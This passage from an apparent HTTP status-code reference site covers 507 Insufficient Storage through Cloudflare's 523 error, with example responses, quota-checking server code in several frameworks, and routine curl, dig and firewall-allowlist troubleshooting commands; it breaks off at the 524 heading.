$9.99/month" }, "cleanup": { "url": "/files/manage", "description": "Delete old files to free up space" } } } ``` **Temporary Storage Full:** ```http HTTP/1.1 507 Insufficient Storage Content-Type: application/json Retry-After: 1800 { "error": "Insufficient Storage", "message": "Temporary storage is full", "details": { "storage_type": "temporary", "location": "/tmp", "available_space": "0 bytes", "cleanup_in_progress": true }, "retry_after": 1800, "suggestion": "Storage cleanup is in progress. Please retry in 30 minutes." } ``` ## Real-World Example Imagine a user trying to upload a large video file to cloud storage: **Client Upload Request:** ```http PUT /storage/videos/presentation.mp4 HTTP/1.1 Host: cloud.example.com Content-Type: video/mp4 Content-Length: 5368709120 Authorization: Bearer eyJhbGciOiJIUzI1NiIs... X-Upload-Session: abc123 [5GB video data being uploaded...] ``` **Server Response - Quota Exceeded:** ```http HTTP/1.1 507 Insufficient Storage Content-Type: application/json X-User-Quota-Used: 9663676416 X-User-Quota-Limit: 10737418240 X-Upload-Session: abc123 Link: ; rel="upgrade" { "status": 507, "error": "Insufficient Storage", "message": "Cannot complete upload - storage quota exceeded", "upload_details": { "file_name": "presentation.mp4", "file_size": "5 GB (5,368,709,120 bytes)", "upload_progress": "1.2 GB uploaded before quota exceeded" }, "quota_details": { "total_quota": "10 GB (10,737,418,240 bytes)", "currently_used": "9 GB (9,663,676,416 bytes)", "available_before_upload": "1 GB (1,073,741,824 bytes)", "required_for_upload": "5 GB (5,368,709,120 bytes)", "shortage": "4 GB (4,294,967,296 bytes)" }, "solutions": [ { "option": "upgrade_plan", "description": "Upgrade to Pro plan with 100 GB storage", "price": "$9.99/month", "url": "/account/upgrade" }, { "option": "free_space", "description": "Delete old files to free up at least 4 GB", "url": "/files/manage", "required_space": "4 GB" }, { "option": "compress_file", "description": "Compress video to reduce file size", "tools": ["HandBrake", "FFmpeg"] } ], "storage_breakdown": { "videos": "6 GB (60%)", "documents": "2 GB (20%)", "images": "1 GB (10%)", "other": "0.9 GB (9%)" } } ``` ## 507 vs Other Storage-Related Codes | Code | Meaning | Cause | Who's Responsible | | ------- | --------------------- | ------------------------------ | ------------------ | | **507** | Insufficient storage | Server/user out of space | Server/user quota | | **413** | Payload too large | Single file exceeds limit | File size limit | | **500** | Internal server error | Generic server error | Server malfunction | | **503** | Service unavailable | Server temporarily unavailable | Server overload | ## Important Characteristics **Server vs User Storage:** ```text Server storage (507): - Physical disk full - Server-side quota exceeded - Affects all users User quota (507): - Individual user limit - Account-specific restriction - Only affects that user ``` **Temporary vs Permanent:** ```text Temporary (recoverable): - Cleanup can free space - Files can be deleted - Retry-After header provided Permanent (upgrade needed): - Maximum capacity reached - Physical hardware limit - Requires quota increase or hardware upgrade ``` **WebDAV Context:** ```http # WebDAV-specific response HTTP/1.1 507 Insufficient Storage Content-Type: application/xml ``` ## Common Mistakes **❌ Using 507 for file size limits** ```http # File too large, but storage available HTTP/1.1 507 Insufficient Storage ← Wrong! Should be 413 Message: File exceeds 100MB upload limit # Should be: HTTP/1.1 413 Payload Too Large Message: File exceeds 100MB upload limit ``` **❌ Not providing quota information** ```http HTTP/1.1 507 Insufficient Storage Content-Type: text/plain Out of storage. ← Unhelpful, no details ``` **❌ Using 507 for temporary failures** ```http HTTP/1.1 507 Insufficient Storage ← Wrong for temporary issue Message: Server is busy, try again # Should be: HTTP/1.1 503 Service Unavailable Retry-After: 60 ``` **✅ Correct usage with actionable information** ```http HTTP/1.1 507 Insufficient Storage Content-Type: application/json Retry-After: 3600 { "error": "Insufficient Storage", "quota_used": "10 GB", "quota_limit": "10 GB", "required_space": "2 GB", "upgrade_url": "/account/upgrade" } ``` ## Getting 507 Insufficient Storage right **Provide Detailed Quota Information:** ```http HTTP/1.1 507 Insufficient Storage Content-Type: application/json X-Quota-Used: 10737418240 X-Quota-Limit: 10737418240 X-Quota-Available: 0 { "error": "Insufficient Storage", "message": "Storage quota exceeded", "quota": { "total": "10 GB", "used": "10 GB", "available": "0 bytes", "percentage": 100 }, "upload_attempted": { "file_size": "2 GB", "space_needed": "2 GB" }, "recommendations": [ "Delete unused files", "Upgrade to larger plan", "Compress large files" ], "storage_analysis": { "largest_files": [ {"name": "backup.zip", "size": "3 GB"}, {"name": "video.mp4", "size": "2 GB"} ] } } ``` **Check Storage Before Upload:** ```javascript // Express.js middleware async function checkStorageQuota(req, res, next) { const userId = req.user.id const uploadSize = parseInt(req.headers['content-length']) const quota = await getUserQuota(userId) const used = await getStorageUsed(userId) const available = quota.limit - used if (uploadSize > available) { return res.status(507).json({ error: 'Insufficient Storage', message: 'Upload would exceed storage quota', upload_size: uploadSize, quota_limit: quota.limit, quota_used: used, quota_available: available, shortage: uploadSize - available, upgrade_url: '/account/upgrade' }) } next() } app.put('/upload/:filename', checkStorageQuota, uploadHandler) ``` **Offer Solutions:** ```http HTTP/1.1 507 Insufficient Storage Content-Type: application/json { "error": "Insufficient Storage", "solutions": [ { "type": "delete_files", "description": "Free up space by deleting old files", "url": "/files/cleanup", "potential_savings": "3.5 GB" }, { "type": "upgrade_plan", "description": "Upgrade to Pro plan", "current_plan": "Free (10 GB)", "new_plan": "Pro (100 GB)", "price": "$9.99/month", "url": "/account/upgrade" }, { "type": "compress_upload", "description": "Compress your file before uploading", "estimated_reduction": "40-60%" } ] } ``` **Implement Storage Monitoring:** ```javascript // Monitor storage usage async function monitorStorage(userId) { const quota = await getQuota(userId) const used = await getStorageUsed(userId) const percentage = (used / quota.limit) * 100 // Warn at 80% if (percentage >= 80 && percentage < 90) { await sendWarningEmail(userId, 'storage_80_percent') } // Alert at 90% if (percentage >= 90 && percentage < 100) { await sendWarningEmail(userId, 'storage_90_percent') } // Block at 100% if (percentage >= 100) { await disableUploads(userId) } } ``` ## Implementation Examples **Express.js:** ```javascript const multer = require('multer') const diskSpace = require('check-disk-space').default app.post('/upload', async (req, res) => { const uploadPath = '/var/uploads' const fileSize = parseInt(req.headers['content-length']) // Check available disk space const diskInfo = await diskSpace(uploadPath) if (diskInfo.free < fileSize) { return res.status(507).json({ error: 'Insufficient Storage', message: 'Server storage is full', required: fileSize, available: diskInfo.free, shortage: fileSize - diskInfo.free }) } // Check user quota const userQuota = await getUserQuota(req.user.id) const userUsed = await getStorageUsed(req.user.id) if (userUsed + fileSize > userQuota.limit) { return res.status(507).json({ error: 'Quota Exceeded', quota_limit: userQuota.limit, quota_used: userUsed, quota_available: userQuota.limit - userUsed, upgrade_url: '/account/upgrade' }) } // Proceed with upload next() }) ``` **Django:** ```python from django.http import JsonResponse from django.views.decorators.http import require_http_methods import shutil @require_http_methods(["POST"]) def upload_file(request): upload_size = int(request.META.get('CONTENT_LENGTH', 0)) # Check disk space stat = shutil.disk_usage('/var/uploads') available_space = stat.free if upload_size > available_space: return JsonResponse({ 'error': 'Insufficient Storage', 'message': 'Server storage is full', 'required': upload_size, 'available': available_space, 'shortage': upload_size - available_space }, status=507) # Check user quota user_quota = get_user_quota(request.user) used_space = get_user_storage(request.user) if used_space + upload_size > user_quota.limit: return JsonResponse({ 'error': 'Quota Exceeded', 'quota_limit': user_quota.limit, 'quota_used': used_space, 'quota_available': user_quota.limit - used_space }, status=507) # Handle upload return handle_file_upload(request) ``` **ASP.NET Core:** ```csharp [HttpPost("upload")] public async Task Upload(IFormFile file) { var uploadPath = Path.Combine(_env.ContentRootPath, "uploads"); var driveInfo = new DriveInfo(Path.GetPathRoot(uploadPath)); if (driveInfo.AvailableFreeSpace < file.Length) { return StatusCode(507, new { error = "Insufficient Storage", message = "Server storage is full", required = file.Length, available = driveInfo.AvailableFreeSpace, shortage = file.Length - driveInfo.AvailableFreeSpace }); } var userQuota = await _quotaService.GetUserQuotaAsync(User.UserId); var usedSpace = await _quotaService.GetUsedSpaceAsync(User.UserId); if (usedSpace + file.Length > userQuota.Limit) { return StatusCode(507, new { error = "Quota Exceeded", quota_limit = userQuota.Limit, quota_used = usedSpace, quota_available = userQuota.Limit - usedSpace, upgrade_url = "/account/upgrade" }); } await SaveFileAsync(file); return Ok(); } ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and simulate storage errors: 1. Set method to **POST** 2. Set path to **/upload** 3. Add large file or exceed quota 4. Click **Send request** 5. See 507 with storage details and solutions ## Try it with curl Upload a file with WebDAV `PUT` to a collection whose storage quota is full. `-T` uploads the file using `PUT`. ```bash curl -i -T backup.tar.gz https://dav.example.com/backups/backup.tar.gz ``` Example output (illustrative, not captured from a real server): ```http HTTP/1.1 507 Insufficient Storage Content-Type: application/xml ``` Non-WebDAV APIs sometimes reuse 507 for full disks or quotas. Retrying does not help until space is freed. ## Related Status Codes - [413 Payload Too Large](https://howhttpworks.com/status-codes/413) - Single file exceeds size limit - [503 Service Unavailable](https://howhttpworks.com/status-codes/503) - Server temporarily unavailable - [500 Internal Server Error](https://howhttpworks.com/status-codes/500) - Generic server error - [423 Locked](https://howhttpworks.com/status-codes/423) - Resource is locked (WebDAV) --- # 508 Loop Detected: Proxy and Redirect Loops > 508 Loop Detected means the server found an infinite loop while processing a request. Learn the WebDAV origin, proxy loops, CDN-Loop and how to find the cycle. Source: https://howhttpworks.com/status-codes/508 Last reviewed: 2026-10-04 > **TL;DR:** 508 means the server stopped a request because it was going in circles. Originally a WebDAV code for resource-binding cycles, it now mostly signals proxy or CDN loops, where a layer forwards a request back toward itself. Find the cycle with `Via` and `CDN-Loop` headers and fix the upstream or DNS target. ## What it means RFC 5842 §7.2 defines 508 for WebDAV bindings: a `PROPFIND` or `COPY` with `Depth: infinity` that reaches a collection through a bind which includes an ancestor of itself would never finish, so the server stops with 508 and the whole operation fails. Outside WebDAV, 508 is used by platforms and gateways that detect request loops. Vercel documents `INFINITE_LOOP_DETECTED` as an HTTP 508, raised for self-referencing requests, redirect cycles and recursive middleware or function calls. Standard web servers more often behave differently: nginx and Apache end internal redirect cycles with a plain 500 ("rewrite or internal redirection cycle", `LimitInternalRecursion`), and a proxy that loops to itself usually produces 502 or 504 as connections pile up. ```http HTTP/1.1 508 Loop Detected Content-Type: text/plain Loop detected while processing /a/b ``` ## Typical causes 1. **Proxy pointing at itself.** `proxy_pass http://example.com;` inside the server for `example.com`, where DNS for the upstream name resolves to the same machine or to the CDN that fronts it. Each pass adds another `Via` entry. 2. **Two layers fetching from each other.** The CDN's origin is set to a hostname that is routed through the same CDN again. 3. **Rewrite or middleware loops** in platform routers (a rewrite sends `/x` to `/y` and a second rule sends `/y` back to `/x`). 4. **WebDAV bind cycles** where a collection contains a binding to its own ancestor, found by a `Depth: infinity` operation. ## Find the cycle ```bash curl -sv https://example.com/ -o /dev/null 2>&1 | grep -i -E '^< (via|cdn-loop|server|x-cache|cf-ray)' ``` ```text < via: 1.1 edge-1.cdn-a.example, 1.1 edge-2.cdn-a.example, 1.1 edge-3.cdn-a.example < cdn-loop: cdn-a; loops=3 ``` Repeating `Via` entries with the same pseudonym show the same node is being revisited. RFC 8586 defines `CDN-Loop`, where each CDN appends its identifier so that a CDN receiving a request that already carries its own identifier too many times can refuse it. Then check where the proxy sends the request: ```bash # From the proxy host: what does the upstream name resolve to? dig +short upstream.example.com getent hosts upstream.example.com # Is it one of this host's own addresses? ip -brief addr ``` In nginx, make sure the upstream is a different address than the listener, and keep `proxy_set_header Host` coherent with what the upstream expects, since a Host that routes back to the proxy is the classic loop. ## Fix it - Point the upstream at the origin's own address or an internal hostname that does not go through the proxy. - Remove one of the two layers' fetch rules when two CDNs or proxies are chained. - In platform rewrites, make the rules acyclic, and add conditions so a rewritten request does not match the rule again. - For WebDAV, avoid `Depth: infinity` on collections with bindings or break the cyclic binding. ## Related - [502 Bad Gateway](https://howhttpworks.com/status-codes/502) - [504 Gateway Timeout](https://howhttpworks.com/status-codes/504) - [500 Internal Server Error](https://howhttpworks.com/status-codes/500) - [301 Moved Permanently](https://howhttpworks.com/status-codes/301) and [302 Found](https://howhttpworks.com/status-codes/302): where browser-side redirect loops start. - [Via](https://howhttpworks.com/headers/via) --- # 509 Bandwidth Limit Exceeded (cPanel Hosting) > cPanel documents 509 Bandwidth Limit Exceeded for an administrator-imposed transfer limit. Confirm account usage in WHM and adjust the quota or wait. Source: https://howhttpworks.com/status-codes/509 Last reviewed: 2026-10-05 > **TL;DR:** cPanel documents 509 Bandwidth Limit Exceeded when a hosting server reaches an administrator-imposed bandwidth limit. Check the account's usage and quota with the host. Wait for the next cycle or have the administrator adjust the limit. ## What it means 509 is non-standard. [cPanel's error-code reference](https://docs.cpanel.net/knowledge-base/web-services/http-error-codes-and-quick-fixes/) documents the label "Bandwidth Limit Exceeded" and tells users to wait for the limit to reset or contact the system administrator. Here, "bandwidth" refers to a hosting transfer allowance. WHM's [Limit Bandwidth Usage interface](https://docs.cpanel.net/whm/account-functions/limit-bandwidth-usage/) manages monthly account limits. Do not infer a broken network link or a requests-per-second limit from the word "bandwidth". The verified scope is cPanel hosting. This is not a standard Apache HTTP status with a universal module, directive or quota value. Diagnose the hosting account before adding speculative Apache configuration. ## Confirm the limit Check the actual status and body from the affected URL. This read-only command uses an example hostname; replace it with the failing site: ```bash curl -i https://example.com/ ``` An error page headed "Bandwidth Limit Exceeded" is useful evidence, but record the HTTP status too. Send the hosting administrator the affected hostname, timestamp and status, and ask them to confirm the account's current transfer usage and enforced limit. In WHM, inspect **Account Functions → Limit Bandwidth Usage** for the account. Compare the account selected in WHM with the account that owns the failing domain. Do not increase an unrelated account's quota because its name looks similar. ## Restore service If the limit was intentional, decide whether to wait for its reset or buy enough transfer allowance for the remaining cycle. If you administer the server, adjust the account's limit in WHM after checking usage. For already limited accounts, cPanel also documents **Account Functions → Unsuspend Bandwidth Exceeders** to remove bandwidth restrictions. Review the traffic that consumed the allowance before setting a larger quota. Investigate unexpected downloads, repeated asset requests or automated traffic using your own logs. Those are possible investigations, not causes established by status 509 alone. After the account change, repeat the request to the original URL and verify the host's usage figures. Record the limit change and the next review point so that the same surprise does not recur without an owner. ## Distinguish it from other limits [429](https://howhttpworks.com/status-codes/429) describes request rate limiting. [503](https://howhttpworks.com/status-codes/503) describes temporary inability to serve requests. Neither defines this hosting account's transfer allowance, and retrying immediately does not change the quota. ## Related - [429 Too Many Requests](https://howhttpworks.com/status-codes/429) - [503 Service Unavailable](https://howhttpworks.com/status-codes/503) --- # 510 Not Extended (HTTP Extension Framework) > 510 Not Extended comes from the experimental HTTP Extension Framework in RFC 2774, now historic. See what it meant and what to do if you hit it. Source: https://howhttpworks.com/status-codes/510 Last reviewed: 2026-10-04 > **TL;DR:** 510 Not Extended belongs to RFC 2774, an experimental HTTP extension framework that went unused and was moved to Historic. A 510 today is a product-specific response you must read the body of, not a signal clients can act on in a standard way. ## What it was for RFC 2774 (2000) defined a way for HTTP messages to declare mandatory extensions, using `Man` and `Opt` headers with a URI naming the extension and a header-prefix. A server that required an extension the request had not declared answered 510, and the client was meant to resend the request including the declaration. ```http M-GET /resource HTTP/1.1 Host: example.com Man: "http://example.com/ext/security"; ns=15 15-auth: token=abc123 ``` ```http HTTP/1.1 510 Not Extended Ext: Content-Length: 0 ``` The mechanism needed new methods (`M-` prefix) and header handling in every client and intermediary, and it never caught on. The IANA registry still lists 510 with RFC 2774 as its reference, and the RFC was later reclassified as Historic. ## What to do if you see one 1. Check who sent it: `Server`, `Via`, `X-Powered-By`, and the body. A real RFC 2774 response is empty or minimal and mentions an `Ext` header; anything else is a vendor reuse. 2. Read the vendor docs: some hosting stacks and appliances use 510 for their own conditions. The code does not tell you what. 3. Do not retry. A 5xx suggests a server problem, but a 510 is not a transient failure. Clients with no specific handling for a 5xx code treat it like [500](https://howhttpworks.com/status-codes/500). 4. If you maintain a service and consider emitting 510, do not. Use [501](https://howhttpworks.com/status-codes/501) for unsupported functionality, [400](https://howhttpworks.com/status-codes/400) for a malformed or missing request element, or [426](https://howhttpworks.com/status-codes/426) when the client must upgrade protocol. ## Why the code number is still around The IANA registry keeps assigned codes listed, so 510 stays there even though the mechanism that defined it is dead. Libraries ship it in their enumerations (Python's `http.HTTPStatus.NOT_EXTENDED`, Go's `http.StatusNotExtended`) for completeness, and you can see it in API test suites that iterate over every status. That is different from being in use. If you find it in logs of an old appliance or proxy, the likelier reading is that a vendor picked an unused 5xx number for its own error. Compare the timestamp with deployments, check for a custom error page, and ask the vendor, since nothing in the protocol can tell you what it means. ## Try it with curl `510 Not Extended` belongs to the HTTP Extension Framework (RFC 2774, an experimental RFC that was never widely adopted), so no mainstream server sends it. If you meet one, `curl -i` is enough to read the status and any headers it carries. ```bash curl -i https://legacy.example.com/resource ``` ## Related - [501 Not Implemented](https://howhttpworks.com/status-codes/501) - [505 HTTP Version Not Supported](https://howhttpworks.com/status-codes/505) - [426 Upgrade Required](https://howhttpworks.com/status-codes/426) - [500 Internal Server Error](https://howhttpworks.com/status-codes/500) --- # 511 Network Authentication Required: Captive Portals > 511 is returned by a network gateway, such as hotel or airport Wi-Fi, that requires login before granting internet access. Learn how apps should handle it. Source: https://howhttpworks.com/status-codes/511 Last reviewed: 2026-10-04 > **TL;DR:** 511 comes from a Wi-Fi gateway or network proxy that wants you to log in before any traffic passes. It is never the website's response. Apps should treat it as "network not ready", not retry blindly, and send the user to a browser to authenticate. ## What it means Public Wi-Fi in hotels, airports and cafes intercepts HTTP requests and answers them itself until the user accepts terms. RFC 6585 §6 defines 511 so clients can recognise the interception, instead of getting a 200 with a login page and trying to parse it as the API they asked for. The RFC says the response should include a link to the login page, and must not be sent by origin servers. ```http HTTP/1.1 511 Network Authentication Required Content-Type: text/html Cache-Control: no-store Network Authentication Required

You need to authenticate with the local network to gain access.

``` The redirect is in the body (a `meta refresh` or a link), not a `Location` header, so that a client that treats 3xx as "follow transparently" does not leak the original request to the portal. ## What actually happens in practice Many portals do not use 511. They return 302 to a login page, or 200 with HTML, or hijack DNS. That is why your API client may see: ```text SyntaxError: Unexpected token '<', " Cloudflare-specific error when the origin server returns an unexpected response. Learn about 520 errors and how to troubleshoot them. Source: https://howhttpworks.com/status-codes/520 Last reviewed: 2026-10-04 > **TL;DR:** Cloudflare reached your origin but got something it could not use: an empty reply, a reset connection, malformed or oversized headers. Reproduce against the origin IP with `curl --resolve`, then read the origin's own error log for a crash or reset at the same timestamp. ## What it means 520 is Cloudflare's catch-all for "the origin connection succeeded but the response was invalid". It is not an HTTP standard code and the origin never sends it; it exists only when Cloudflare proxies the site. Documented triggers include: - The origin closed the connection or reset it (TCP RST) before sending a complete response. - An empty response: no status line, no headers, no body. - Response headers larger than 32 KB, or more than 100 headers. Runaway `Set-Cookie` headers are the classic cause. - Malformed headers (missing colon, invalid characters) or an invalid status line. - The origin process crashing mid-request (PHP-FPM segfault, OOM kill, worker timeout in gunicorn/uWSGI). Browsers show Cloudflare's own page titled "Web server is returning an unknown error", with a Ray ID. ```http HTTP/2 520 server: cloudflare cf-ray: 8a1b2c3d4e5f6789-LHR content-type: text/html; charset=UTF-8 ``` ## Who sent it? `server: cloudflare` plus a `cf-ray` header means the edge generated the error. If the 520 only occurs through Cloudflare and the origin answers normally when hit directly, suspect headers, firewall or keepalive handling. Match the Ray ID against your origin logs to find the failing request. ## Fix it 1. **Hit the origin directly**, bypassing Cloudflare: ```bash curl -sv --resolve example.com:443:203.0.113.10 https://example.com/path -o /dev/null ``` Look for `Empty reply from server` or `Connection reset by peer`; both confirm the origin is the problem. 2. **Read the origin log** at the Ray ID timestamp: nginx `error.log` (`upstream prematurely closed connection`, `recv() failed (104: Connection reset by peer)`), `dmesg | grep -i 'killed process'` for OOM, PHP-FPM or gunicorn logs for crashes and worker timeouts. 3. **Measure header size.** Over 32 KB total or 100+ headers triggers 520. ```bash curl -s -D - -o /dev/null https://origin.example.com/ | wc -c ``` Fix cookie loops, trim `Set-Cookie`, `Link` or custom debug headers. 4. **Check the firewall and connection limits.** Fail2ban, ModSecurity, `iptables` rate limits or CSF may reset Cloudflare edge IPs because many requests share a few addresses. Allow Cloudflare ranges from `https://www.cloudflare.com/ips-v4` and `ips-v6`. 5. **Check keepalive mismatches.** If the origin closes idle connections more aggressively than Cloudflare reuses them, a request can hit a closed socket. Raise `keepalive_timeout` on nginx (for example `keepalive_timeout 75s;`) above Cloudflare's idle behavior, and in Apache keep `KeepAlive On`. 6. **Application crashes.** Fix the underlying fatal error; make sure the framework returns a real 500 response rather than exiting without output (PHP `exit()` before headers, Node `process.exit()` in a request handler). 7. **Pause Cloudflare** (grey-cloud the DNS record) briefly to see if the origin alone serves correctly. ### nginx pointer ```nginx # Keep upstream responses bounded and log what the origin saw large_client_header_buffers 4 16k; log_format cf '$remote_addr cf-ray=$http_cf_ray "$request" $status $upstream_status'; access_log /var/log/nginx/access.log cf; ``` ## 520 vs the other Cloudflare 52x errors | Code | Origin behavior | | ---- | -------------------------------------------------------------- | | 520 | Connected, but the response was empty, reset or malformed | | 521 | Connection refused (nothing listening, or blocked) | | 522 | TCP connection or response acknowledgement timed out | | 523 | Origin unreachable (DNS or routing) | | 524 | Connected, but no HTTP response within 125 seconds (default) | If the origin itself sends a normal 500 or 502, Cloudflare passes it through as-is; see [500](https://howhttpworks.com/status-codes/500) and [502](https://howhttpworks.com/status-codes/502). ## Related - [521 Web Server Is Down](https://howhttpworks.com/status-codes/521) - [522 Connection Timed Out](https://howhttpworks.com/status-codes/522) - [523 Origin Is Unreachable](https://howhttpworks.com/status-codes/523) - [524 A Timeout Occurred](https://howhttpworks.com/status-codes/524) - [502 Bad Gateway](https://howhttpworks.com/status-codes/502) - [525 SSL Handshake Failed](https://howhttpworks.com/status-codes/525) - [526 Invalid SSL Certificate](https://howhttpworks.com/status-codes/526) --- # 521 Web Server Is Down > Cloudflare-specific status code indicating the origin server refused the connection. Learn about this proxy error and how to troubleshoot it. Source: https://howhttpworks.com/status-codes/521 Last reviewed: 2026-10-04 > **TL;DR:** Cloudflare tried to open a TCP connection to your origin and was refused. Either nothing is listening on the port Cloudflare uses, or a firewall is rejecting Cloudflare's IP ranges. Test the origin IP directly from outside your network. ## What it means 521 is Cloudflare-specific: the connection was actively refused (RST or ICMP rejection), as opposed to [522](https://howhttpworks.com/status-codes/522), where packets vanish and the attempt times out. A refusal is fast, so a 521 appears immediately. The error page reads "Web server is down". ## Who sent it? `server: cloudflare` and a `cf-ray` header on the response. Nothing about this reached your application, so your app logs will be empty for these requests; check the web server, the host firewall and the cloud security group instead. ## Fix it 1. **Is the origin up and listening?** ```bash systemctl status nginx ss -tlnp | grep -E ':(80|443)\b' ``` 2. **Is it reachable from the internet on the right port?** Cloudflare connects to port 443 for Full and Full (strict) SSL modes, and to port 80 for Flexible. Test from a machine outside your network: ```bash curl -sv --resolve example.com:443:203.0.113.10 https://example.com/ -o /dev/null nc -vz 203.0.113.10 443 ``` `Connection refused` confirms the problem. If it works from your laptop but not via Cloudflare, the firewall is selectively blocking Cloudflare. 3. **Allowlist Cloudflare's published ranges** (`https://www.cloudflare.com/ips-v4` and `ips-v6`) in iptables/nftables, `ufw`, CSF, AWS security groups and NACLs. Fetch the lists programmatically instead of pasting them; they change. ```bash for ip in $(curl -s https://www.cloudflare.com/ips-v4); do ufw allow from "$ip" to any port 443 proto tcp done ``` 4. **Fail2ban and rate limiters.** Because all traffic comes from Cloudflare edge IPs, a ban on one edge address blocks many visitors. Use `CF-Connecting-IP` (nginx `ngx_http_realip_module`) so your tools see real client IPs. 5. **Wrong port or SSL mode.** Using Flexible SSL while the origin only listens on 443 refuses port 80 connections; switch to Full (strict) and serve a valid certificate. Non-standard origin ports require a Cloudflare Origin Rule (port override), and only some ports are proxied for DNS-based setups. 6. **Server overload.** An exhausted backlog or `max_connections` can refuse new connections; check `ss -s`, `netstat -s | grep -i listen`, and increase `listen ... backlog` and worker limits. 7. **Restart after a crash.** A stopped service shows up as 521 exactly like a firewall block. Add a process supervisor (systemd `Restart=on-failure`). ### Real client IP behind Cloudflare (nginx) ```nginx set_real_ip_from 173.245.48.0/20; # repeat for every range in ips-v4 and ips-v6 real_ip_header CF-Connecting-IP; ``` ## 521 vs similar | Code | Cause | | ---- | --------------------------------------------- | | 521 | Connection actively refused | | 522 | Connection attempt timed out (packets dropped)| | 523 | No route to the origin IP | | 520 | Connected, but the response was empty, reset or malformed | ## Related - [520 Web Server Returned an Unknown Error](https://howhttpworks.com/status-codes/520) - [522 Connection Timed Out](https://howhttpworks.com/status-codes/522) - [523 Origin Is Unreachable](https://howhttpworks.com/status-codes/523) - [502 Bad Gateway](https://howhttpworks.com/status-codes/502) - [525 SSL Handshake Failed](https://howhttpworks.com/status-codes/525) --- # 522 Connection Timed Out > Cloudflare-specific error when unable to establish a TCP connection to the origin server. Learn how to diagnose and fix 522 timeout errors. Source: https://howhttpworks.com/status-codes/522 Last reviewed: 2026-10-04 > **TL;DR:** Cloudflare could not complete a TCP connection to your origin within 19 seconds, or connected but never acknowledged the request within 90 seconds. Usual causes: a firewall silently dropping Cloudflare IPs, an overloaded origin, or the wrong origin IP in DNS. ## What it means Cloudflare sent a SYN and got nothing back, or the connection opened and the origin then stalled before acknowledging the request. Cloudflare's connection-limits page documents two clocks: 19 seconds to complete the TCP connection (no SYN+ACK after the SYN), and 90 seconds after the connection is up to receive an ACK for the request. Neither is configurable. Dropped packets (a DROP rule, a security group with no matching allow) cause timeouts; a REJECT causes [521](https://howhttpworks.com/status-codes/521). ## Who sent it? `server: cloudflare` with a `cf-ray` header and the "Connection timed out" page. The request never reached your application, so app logs are empty. ## Fix it 1. **Test reachability from outside your network.** ```bash curl -sv --connect-timeout 10 --resolve example.com:443:203.0.113.10 https://example.com/ -o /dev/null mtr -rwc 20 -T -P 443 203.0.113.10 ``` A hang at `Trying 203.0.113.10:443...` means dropped packets. 2. **Allowlist Cloudflare ranges** from `https://www.cloudflare.com/ips-v4` and `ips-v6` in iptables/nftables, `ufw`, CSF/Fail2ban, hosting-provider firewalls, and AWS/GCP/Azure security groups. Shared hosts often rate-limit these IPs by default. 3. **Verify the DNS record** in Cloudflare points to the current public origin IP. After a server migration or a cloud instance restart without an Elastic IP, the old address will time out. 4. **Check origin load.** Saturated CPU, exhausted `worker_connections`, a full SYN backlog or PHP-FPM `pm.max_children` reached makes the origin stop accepting connections. Look at `ss -s`, `dmesg | grep -i syn`, and `nginx -T | grep worker_connections`. 5. **Look for rate limiting by the host or ISP** treating the Cloudflare edge as a flood. 6. **Confirm the port and SSL mode.** Full or Full (strict) connects to 443; Flexible connects to 80. 7. **Long-running requests** after the connection opens belong to [524](https://howhttpworks.com/status-codes/524), which runs a separate clock (125 seconds by default). ## Verify ```bash curl -sI https://example.com/ | grep -iE 'HTTP|cf-ray' ``` When the origin is healthy again the status changes from 522 to your app's normal response with no change on the Cloudflare side. ## 522 vs 521 vs 523 vs 524 | Code | What happened | | ---- | --------------------------------------------------------------- | | 521 | Connection refused immediately | | 522 | Connection or acknowledgement timed out (dropped packets) | | 523 | Origin IP unreachable (bad DNS, private IP, no route) | | 524 | Connected, but no HTTP response within 125 seconds (default) | ## Related - [521 Web Server Is Down](https://howhttpworks.com/status-codes/521) - [523 Origin Is Unreachable](https://howhttpworks.com/status-codes/523) - [524 A Timeout Occurred](https://howhttpworks.com/status-codes/524) - [504 Gateway Timeout](https://howhttpworks.com/status-codes/504) --- # 523 Origin Is Unreachable > Cloudflare-specific error when the origin server's IP address is unreachable. Learn about DNS and routing issues causing 523 errors. Source: https://howhttpworks.com/status-codes/523 Last reviewed: 2026-10-04 > **TL;DR:** Cloudflare has no working network path to your origin IP. Check that the DNS record in Cloudflare points to a public, current address (not 10.x, 172.16-31.x or 192.168.x) and that your host's routing or CDN-facing network is healthy. ## What it means 523 means Cloudflare could not route to the IP your DNS record resolves to. Unlike [522](https://howhttpworks.com/status-codes/522), where Cloudflare reaches the network and waits, here the destination cannot be reached at all, so the error is usually quick. Typical causes: - The A/AAAA record holds a private (RFC 1918) address or a stale IP after a migration. - The record is an IPv6 address the origin network does not route to Cloudflare. - A routing or BGP problem at the hosting provider, or an ISP outage. - The origin is behind a tunnel or load balancer that was deleted. ## Who sent it? `server: cloudflare`, a `cf-ray` header and the page "Origin is unreachable". Your servers see nothing. ## Fix it 1. **Check what Cloudflare resolves.** In the dashboard, DNS, confirm the record for the hostname (and any CNAME target) is correct and proxied only if intended. ```bash dig +short example.com @1.1.1.1 # proxied records show Cloudflare IPs dig +short origin.example.com # an unproxied record shows the origin IP ``` 2. **Reject private addresses.** Public Cloudflare cannot reach `192.168.1.10`. Use a public IP or Cloudflare Tunnel (`cloudflared`) for origins that have none. 3. **Test the IP directly** from outside your network: ```bash ping -c 3 203.0.113.10 mtr -rwc 20 203.0.113.10 curl -sv --resolve example.com:443:203.0.113.10 https://example.com/ -o /dev/null ``` 4. **Check AAAA records.** An AAAA record pointing at an unreachable IPv6 address breaks Cloudflare's IPv6 path even though IPv4 works. Remove it or fix the origin's IPv6. 5. **Contact the hosting provider** if traceroutes die inside their network; check their status page for outages. 6. **Cloud load balancers.** Verify the ALB/ELB, Elastic IP or forwarding rule still exists and the subnet route table has an internet gateway. ## 523 vs the others | Code | Meaning | | ---- | ----------------------------------------------- | | 521 | Reached the host; connection refused | | 522 | Reached the network; no reply (timeout) | | 523 | No route to the origin IP at all | | 530 | Cloudflare error response with an error 1xxx code in the body (for example 1016 Origin DNS error) | For 530 and 1xxx codes the number shown in the page body, such as "Error 1016", is the one to look up in Cloudflare's documentation. ## Related - [521 Web Server Is Down](https://howhttpworks.com/status-codes/521) - [522 Connection Timed Out](https://howhttpworks.com/status-codes/522) - [524 A Timeout Occurred](https://howhttpworks.com/status-codes/524) - [520 Web Server Returned an Unknown Error](https://howhttpworks.com/status-codes/520) - [530 Origin DNS Error](https://howhttpworks.com/status-codes/530) --- # 524 A Timeout Occurred > Cloudflare-specific error when the origin server takes too long to respond. Learn how to diagnose and fix 524 timeout errors. Source: 